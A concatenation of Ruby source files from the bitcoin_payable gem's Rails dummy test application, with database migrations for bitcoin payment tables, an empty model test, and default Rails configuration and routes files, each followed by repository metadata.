spec/dummy/db/migrate/20140917144413_add_btc_conversion_to_bitcoin_payments.rb
class AddBtcConversionToBitcoinPayments < ActiveRecord::Migration def change add_column :bitcoin_payments, :btc_conversion, :integer end end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/spec/dummy/db/migrate/20140902213338_create_bitcoin_payment_transactions.rb
spec/dummy/db/migrate/20140902213338_create_bitcoin_payment_transactions.rb
class CreateBitcoinPaymentTransactions < ActiveRecord::Migration def change create_table :bitcoin_payment_transactions do |t| t.integer :estimated_value t.string :transaction_hash t.string :block_hash t.datetime :block_time t.datetime :estimated_time t.integer :bitcoin_payment_id t.integer :btc_conversion end add_index :bitcoin_payment_transactions, :bitcoin_payment_id end end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/spec/dummy/db/migrate/20140902213337_create_bitcoin_payments.rb
spec/dummy/db/migrate/20140902213337_create_bitcoin_payments.rb
class CreateBitcoinPayments < ActiveRecord::Migration def change create_table :bitcoin_payments do |t| t.string :payable_type t.integer :payable_id t.string :currency t.string :reason t.integer :price t.float :btc_amount_due, default: 0 t.string :address t.string :state t.datetime :created_at t.datetime :updated_at end add_index :bitcoin_payments, [:payable_type, :payable_id] end end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/spec/dummy/db/migrate/20140510023211_create_widgets.rb
spec/dummy/db/migrate/20140510023211_create_widgets.rb
class CreateWidgets < ActiveRecord::Migration def change create_table :widgets do |t| t.timestamps end end end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/spec/dummy/test/models/widget_test.rb
spec/dummy/test/models/widget_test.rb
require 'test_helper' class WidgetTest < ActiveSupport::TestCase # test "the truth" do # assert true # end end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/spec/dummy/config/application.rb
spec/dummy/config/application.rb
require File.expand_path('../boot', __FILE__) require 'rails/all' Bundler.require(*Rails.groups) require "bitcoin_payable" module Dummy class Application < Rails::Application # Settings in config/environments/* take precedence over those specified here. # Application configuration should go into files in config/initializers # -- all .rb files in that directory are automatically loaded. # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC. # config.time_zone = 'Central Time (US & Canada)' # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] # config.i18n.default_locale = :de end end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/spec/dummy/config/environment.rb
spec/dummy/config/environment.rb
# Load the Rails application. require File.expand_path('../application', __FILE__) # Initialize the Rails application. Dummy::Application.initialize!
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/spec/dummy/config/routes.rb
spec/dummy/config/routes.rb
Dummy::Application.routes.draw do # The priority is based upon order of creation: first created -> highest priority. # See how all your routes lay out with "rake routes". # You can have the root of your site routed with "root" # root 'welcome#index' # Example of regular route: # get 'products/:id' => 'catalog#view' # Example of named route that can be invoked with purchase_url(id: product.id) # get 'products/:id/purchase' => 'catalog#purchase', as: :purchase # Example resource route (maps HTTP verbs to controller actions automatically): # resources :products # Example resource route with options: # resources :products do # member do # get 'short' # post 'toggle' # end # # collection do # get 'sold' # end # end # Example resource route with sub-resources: # resources :products do # resources :comments, :sales # resource :seller # end # Example resource route with more complex sub-resources: # resources :products do # resources :comments # resources :sales do # get 'recent', on: :collection # end # end # Example resource route with concerns: # concern :toggleable do # post 'toggle' # end # resources :posts, concerns: :toggleable # resources :photos, concerns: :toggleable # Example resource route within a namespace: # namespace :admin do # # Directs /admin/products/* to Admin::ProductsController # # (app/controllers/admin/products_controller.rb) # resources :products # end end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false